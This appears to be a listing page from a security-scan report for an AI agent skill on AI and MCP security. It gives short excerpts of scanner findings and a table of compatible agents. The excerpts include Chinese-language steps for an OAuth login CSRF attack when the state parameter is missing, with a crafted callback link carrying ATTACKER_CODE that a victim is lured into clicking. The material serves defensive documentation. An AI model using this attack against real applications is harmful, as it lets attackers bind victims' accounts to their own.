# 攻击流程 (state缺失时) 1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE - Network accessline 312
1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE 3. 诱骗受害者点击 → 受害者账号绑定攻击者的第三方账号 - Network accessline 313
2. 构造链接: https://app.com/callback?code=ATTACKER_CODE - Network accessline 325
[Credential-related source omitted] - Network accessline 326
[Credential-related source omitted] - Access to secretsline 326
[Credential-related source omitted]
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Signal confidence: 500 facts
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:122Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:123Low confidence
- Access to secrets in prose of documentation: reads a credential storeai-mcp-security/references/04-ai-and-mcp-security-integrated.md:149Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:182Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:183Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:184Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:245Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:246Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:247Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:248Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:309Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:310Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:376Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:377Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:438Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:439Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:440Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:441Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:495Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:572Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:626Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:627Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:666Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:752Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:861Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:862Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:902Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:903Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:981Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1029Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1081Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1129Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1130Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1192Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1193Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1194Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1245Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1302Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1303Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1304Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1305Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1466Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1520Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1521Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1573Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1574Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1575Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1576Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1577Low confidence
- Network access in prose of documentationai-mcp-security/references/04-ai-and-mcp-security-integrated.md:1630Low confidence
and 450 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.